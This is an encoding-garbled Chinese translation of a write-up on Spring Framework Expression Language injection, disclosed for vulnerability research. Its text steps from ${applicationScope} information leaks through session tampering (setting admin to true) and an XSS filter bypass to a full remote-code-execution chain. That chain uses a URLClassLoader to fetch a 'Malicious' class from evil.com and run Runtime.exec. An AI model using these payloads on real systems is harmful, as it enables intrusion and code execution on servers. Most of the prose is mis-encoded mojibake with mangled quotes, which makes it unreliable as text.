spring-Ô¶³Ì´úÂë×¢Èë
Remote Code withExpression Language Injection
Spring Framework´àÈõÐÔ¡ªDanAmodio
È«ÊÀ½ç³¬¹ý22,000×éÖ¯ÒѾÏÂÔØÁË131.4Íò¹ýʱµÄSpring Framework£¬Ê¹ÓÃÔÚÒµÎñÖÐ
¿ÉÄÜ»á´æÔÚ·çÏÕ¡£
ÔÚ2011Ä꣬À´×ÔMinded Security µÄStefano Di Paola ºÍÀ´×ÔAspect SecurityµÄ
Arshan Dabirsiaghi ÔÚSpring FrameworkÖз¢ÏÖÁËÒ»¸öÓÐȤģʽ¡£Stefano´´ÔìÁËExpression Language (EL) ×¢Èë¡£ËûÃǵķ¢ÏÖÅû¶ÁËÄ³Ð©Ë«ÖØµÄ½âÎöEL µÄspring ±êÇ©¿É
ÒÔй¶·þÎñÆ÷ÉϵÄÃô¸ÐÊý¾Ý¡£ÕâÊÇÓÉÓÚspring ÌṩÁ˶ÀÁ¢ÓÚjsp/servletÈÝÆ÷µÄELÖ§³Ö£¬
ÒÔ´ËÀ´×÷ΪÏòϼæÈݵÄÒ»ÖÖ·½Ê½¡£Òò´ËÔÚjsp2.0֮ǰ£¬EL ÊDz»±»Ö§³ÖµÄ¡£Õâ¸ö¹¦ÄÜÔÚµ±Ç°
°æ±¾ÖÐÊÇĬÈÏ´ò¿ªµÄ£¬Ó¦ÓóÌÐòʹÓÃÁË´ËģʽÃèÊöÊÇÒ×Êܹ¥»÷µÄ¡£
ÓÉÓÚÿ¸öÓ¦ÓóÌÐò²¢²»¶¼»á³öÏÖ·´ÉäxssÕâÖÖÈõµã£¬ËäÈ»ºÜÄÑÁ¿»¯ËüµÄÉî¶ÈºÍ¹ã¶È£¬µ«
ÎÒÃǸù¾ÝSonatype×îеÄͳ¼ÆÖªµÀ£¬È«ÊÀ½ç³¬¹ý22,000µÄ×éÖ¯ÏÂÔØSpring 3.0.5ÒÔϰæ
±¾ÒѾ³¬¹ý131.4 Íò¡£Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads¡£
ÕâЩ°æ±¾²»Ö§³Ö½ûÓÃdouble EL resolution.
Õâ¸öÎÊÌâÔÀ´µÄÓ°ÏìÊÇÐÅϢй¶£¬µ«ÊÇÎÒ½«¾ÙÀý˵Ã÷ËüÈçºÎÔÚGlassfish ºÍÆäËû°üº¬
EL2.2ÈÝÆ÷ÉÏ¿ÉÄܽøÐÐÔ¶³Ì´úÂëÖ´ÐС£
ÕâÊÇÒ»¸öÔʼÐÅϢй¶µÄ¹¥»÷Àý×Ó£º
ÇëÇó£º
ttp://vulnerable.com/foo?message=${applicationScope}
µ½´ïÒÔÏÂÄÚÈÝÒ³Ãæ£º
½á¹û½«Êä³öһЩ°üº¬ÄÚ²¿·þÎñÆ÷ÐÅÏ¢calsspath ºÍ±¾µØ¹¤×÷Ŀ¼
ÄãÒ²¿ÉÒÔ×öһЩÆäËûÊÂÇ飬ÈçÕâÑù£º
${9999+1}
»¹¿ÉÒÔ·ÃÎÊsession ¶ÔÏóºÍbeans
${employee.lastName}
ÔÚÖ´ÐÐGlassfishÉϿͻ§¶ËÓ¦ÓóÌÐòµÄÉøÍ¸²âÊÔʱ£¬ÎÒÓöµ½ÁËͬÑùµÄģʽ£¬ÖªµÀ´ó¸ÅÊÇ
EL ×¢È룬×öÁ˶îÍâµÄ²âÊÔºó£¬È·ÈÏÁËÕâÒ»·¢ÏÖ£¬Í¬Ê±ÑÓÐøÏÂÈ¥£¬ÎÒÏëÍÚ¾òһЩÓÐ×ÌζµÄ¶«
Î÷£¬±ÈÈçXSS.
°¥£¬Ó¦ÓóÌÐòµÄÊäÈë¹ýÂËÖÕÖ¹ÁËÎÒµÄÇëÇó£¬Òò´ËÈ¥µôÁË¡±¡±±êÇ©
Í»·¢ÆæÏ룬ÎÒÏë¡°ÎÒ¿ÉÒÔÔÚJAVAÖнøÐÐ×Ö·û²Ù×Ý£¬ÎªÊ²Ã´ÎÒ²»ÊÔÊÔÀûÓÃELÀ´Èƹý¹ýÂË
ÄØ£¿¡±
Òò´Ë£¬ÎÒ³¢ÊÔËÈçÏ£�
http://vulnerable.com/app?code=${param.foo.replaceAll(¡°P¡±,¡±Q¡±)}foo=PPPP
P
ÎÒ×¢Òâµ½·µ»ØµÄ´íÎó´úÂëʱQQQQQ,ÓÉÓÚString.replaceall ·½·¨ÒѾ±»µ÷Óã¬ËùÒÔ·µ
»ØµÄÎı¾±»²åÈë½øÁËspring:message ±êÇ©¡£
ÕâÀïÊÇÒ»¸ö×îÖÕÈÆ¹ý¹ýÂ˵ÄʵÀý£º
http://vulnerable.com/app?code=${param.foo.replaceAll(¡°P¡±,¡±¡±)}&foo=PscriptQalert(1);P/scriptQ
ËüÔËÐеĺܺ㬽ÓÏÂÀ´Ò»¸öСʱÎÒʲô¶¼Ã»Ï롣ȻºóÎÒÈÏʶµ½ËûÊÇÕæµÄÕæµÄÔã¸âµÄ¡£Îª
ʲô¿ÉÒÔÔÚELÖÐÏñÕâÑù²åÈë·½·¨¡£½ÓÏÂÀ´,ÎÒ»¹¿ÉÒÔ×öЩÆäËûºÃÍæµÄÊÂÇéÄØ?
¾¹ýÒ»·¬Ñо¿£¬ÎÒѧϰµ½EL2.2 Ôö¼ÓÁË·½·¨µ÷Óá£
ÎÒдÁËÒ»¸ö¿ìËÙ²âÊÔÓ¦ÓóÌÐò´úÂë²¢ÇÒ¼ì²âһЩ¹¦ÄÜ
${pageContext.request.getSession().setAttribute(¡°account¡±,¡±123456¡å)}
${pageContext.request.getSession().setAttribute(¡°admin¡±,true)}
ºÃÁË£¬»á»°¶ÔÏóÐÞ¸ÄÊÇÒ»¸öÃ÷ÏԵķçÏÕ¡£ÎÒÕæµÄÏë½Ó´¥µ½¶ÔÏ󣬵«ÊÇÎÒûÓÐÒ»¸öÖ±½ÓµÄ
Ö¸ÏòpageContext¶ÔÏó,Ò²ÐíÎÒ¿ÉÒÔʹÓ÷´É䣬ÏñString.getClass().forName(string)£¿
${¡°¡±.getClass().forName(¡°java.net.Socket¡±).newInstance().connect(¡°127.0.0.1
¡°, 1234)}
${¡°¡±.getClass().forName(¡°java.lang.Runtime¡±)}
ÍÛ£¬Ã»Óз½·¨ÈÃËü¹¤×÷£¬ÓÉÓÚ¿ÉÒÔ½Ó´¥µ½Èκζ«Î÷Õâ¿ÉÊÇÔÖÄÑÐԵġ£²»ÐÒµÄÊÇ£¬ËüÊDz»
¿ÉÄܵ÷ÓÃnewinstance()³õʼ»¯Ðí¶àΣÏÕÀࣨÈçRuntime£©£¬ÓÉÓÚËüÃÇûÓÐÌṩĬÈϵĹ¹Ô캯
Êý£¬ÎÒÃÇÎÞ·¨´´½¨¶ÔÏó¡£µ±ËüÇëÇónull»òÕßÒ»¸ö¿ÕÊý×飬getMethods().invoke()»áÓÐ
һЩÎÊÌâ¡£ÔÚ´«µÝÊý¾Ýµ½·½·¨Ö®Ç°£¬EL ËÆºõÊÇÀí½âËüΪһ¸ö×Ö·û´®×ÖÃæÖµ¡£ÎҲ²âÊÇÓÉÓÚ
·½·¨Ç©Ãûinvoke(Object obj, Object„ args)
Jeff Williams (Aspect Security ºÍOWASPºËÐÄ´´Ê¼ÈË) £¬Arshan,ºÍÎÒ¶¼Ë¼¿¼Õâ¸öÎÊ
Ì⣬ÒÔÈÃËü¿ÉÒÔ¹¤×÷ÆðÀ´¡£
©¶´ÀûÓãº
ÎÒÔÚǽÉÏײµÄÎÒµÄÄÔ´übangbangÏ죬ÎÒÒѾÓþ¡ÁËËùÓÐÏë·¨£¬ÏÖÔÚÎÒÃǹ«¿ªÕâ¸ö£¬ÎÒ
Ï£ÍûÄãÃÇÖеÄһЩJAVAÆæ²Å¸æËßÎÒÎÒÊÇÈç´ËµÄ¿ÉЦ¡£
ÕâÀïÓÐһЩÎÒÊÔ¹ýµÄʧ°ÜµÄÓÃÀý£¬ÎªÁËÊÔͼÈÃËü¹¤×÷µÄÓÃÀý£º
дÎļþµ½Îļþϵͳ
ÊÔÍ¼ÔØÈëorg.springframework.expression.spel.standard.SpelExpressionParser.
ÎÒÈÏΪÕâЩ¿ÉÒԺܺõŤ×÷£¬µ«ÊÇÎÒ²»ÄÜÕÒµ½ºÏÊʵÄÀàÀ´ÔØÈë¡£
${pageContext.getClass().getClassLoader().loadClass(¡°org.springframework.expression.spel.standard.SpelExpressionParser¡±)}
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found
by
org.glassfish.web.javax.servlet.jsp .
ÀûÓ÷´ÉäÀ´ÐÞ¸Äjava.lang.Runtime.currentRuntimeµÄÊôÐÔΪPublic
ÀûÓ÷´ÉäÀ´´´½¨Ò»¸öеÄRuntime(and watch the world burn)
${pageContext.request.getSession().setAttribute(¡°rtc¡±,¡±".getClass().forName
(¡°java.lang.Runtime¡±)).getDeclaredConstructors())}
${pageContext.request.getSession().getAttribute(¡°rtc¡±).setAccessible(true)}
ʹÓÃjava.lang.ProcessBuilder
Óñí´ïʽÓïÑÔÀ´ÆÀ¹À±í´ïʽÓïÑÔ
Expression-ception £¡ ÔÚÕâµãÎÒÏëÎÒ¿ì·èÁË£¬ÔØÌ岢ûÓÐÈκÎʵ¼ÊÒâÒå.
${pageContext.getExpressionEvaluator().parseExpression(¡°pageContext.request
¡°,¡±".getClass(),null)}
´´½¨Ò»¸öObjectInputStream£¬ÐòÁл¯Ò»¸öÀಢ½«Æä×÷Ϊһ¸ö²ÎÊý·¢ËÍ£¨Ò²Óеã·è¿ñ£©
ÎÒÔÚʹÓÃÒ»¸ö¿ÕÊý×éͨ¹ýMethod.invoke()ʱʧ°ÜÁ˺ܶà´Î
¡°¡±.getClass().forName(¡°java.lang.Runtime¡±).getMethods().invoke(param.foo
.getClass().forName(¡°java.lang.Runtime¡±),¡±".getClass().forName(¡°java.util.A
rrayList¡±).newInstance().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
×îºó£¬ÓÐÒ»ÌìÍíÉÏÎÒ±»°íµ¹ÔÚÒ»¸öÎÊÌâǰ£ºÎÒÄܵõ½Ò»¸öURLClassLoader£¬Òò´ËÎÒ¿É
ÒÔ´´½¨Ò»¸ö¶ñÒâclassÎļþ²¢ÇÒÖ¸ÏòÀà×°ÔØÆ÷.
ÎÒдÁËÒ»¸öJAVA À࣬ËüÊÔͼ´ò¿ª·þÎñÆ÷ÉϵļÆËãÆ÷£¬À´Ö¤Ã÷Ô¶³Ì´úÂëÖ´ÐУº
public class Malicious {
public Malicious() {
try {
java.lang.Runtime.getRuntime().exec(¡°open -a Calculator¡±); //Mac
java.lang.Runtime.getRuntime().exec(¡°calc.exe¡±); //Win
} catch (Exception e) {
}
}
ÎÒÃÇ´´½¨ÁËÒ»¸öÊý×éÁÐ±í½«±»ÓÃÓÚ¹¹ÔìÒ»¸öеÄURLClassLoader,ËüÐèÒª±»´æ´¢ÔÚ»Ø
»°ÖУ¬Òò´ËËü¿ÉÒÔ±»Ê¹ÓÃ.
${pageContext.request.getSession().setAttribute(¡°arr¡±,¡±".getClass().forName
(¡°java.util.ArrayList¡±).newInstance())}
URLClassLoader ÌṩÁËÒ»¸önewInstance ·½·¨£¬Ëü½ÓÊÜURL¶ÔÏóÊý×é¡£ÎÒÃÇÐèÒª´´½¨
Ò»¸öеİüº¬ÎÒÃǶñÒâ´úÂë·¾¶µÄURL¡£ServletContext¿ÉÒÔÌṩ¸øÎÒÃÇÒ»¸öURL¶ÔÏóºÍ
getResource(string) ·½·¨£¬µ«ÊÇÎÒÃDz»¿ÉÄÜÖ±½Ó´´½¨Ò»¸öеÄʵÀý¡£È»¶øURIÌṩÁËÒ»¸ö
ÎÒÃÇ¿ÉÒÔµ÷ÓõÄcreate(string)·½·¨£¬È»ºóת»»¶ÔÒ»¸öURL¶ÔÏó¡£
${pageContext.request.getSession().getAttribute(¡°arr¡±).add(pageContext.getServletContext().getResource(¡°/¡±).toURI().create(¡°http://evil.com/path/to/wh
ere/malicious/classfile/is/located/¡±).toURL())}
È»ºóÎÒÃÇ·¢ÏÖÁËÒ»¸öµ½URLClassLoaderָʾÆ÷£¬Òò´ËnewInstance ·½·¨¿ÉÒÔ±»µ÷Óã¬
¶ñÒâÀàÎļþ±»×°Ôز¢´´½¨£¬´¥·¢Ô¶³Ì´úÂë.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
xt.request.getSession().getAttribute(¡°arr¡±).toArray(pageContext.getClass().
getClassLoader().getParent().getURLs())).loadClass(¡°Malicious¡±).newInstance
()}
Ò³:
[1]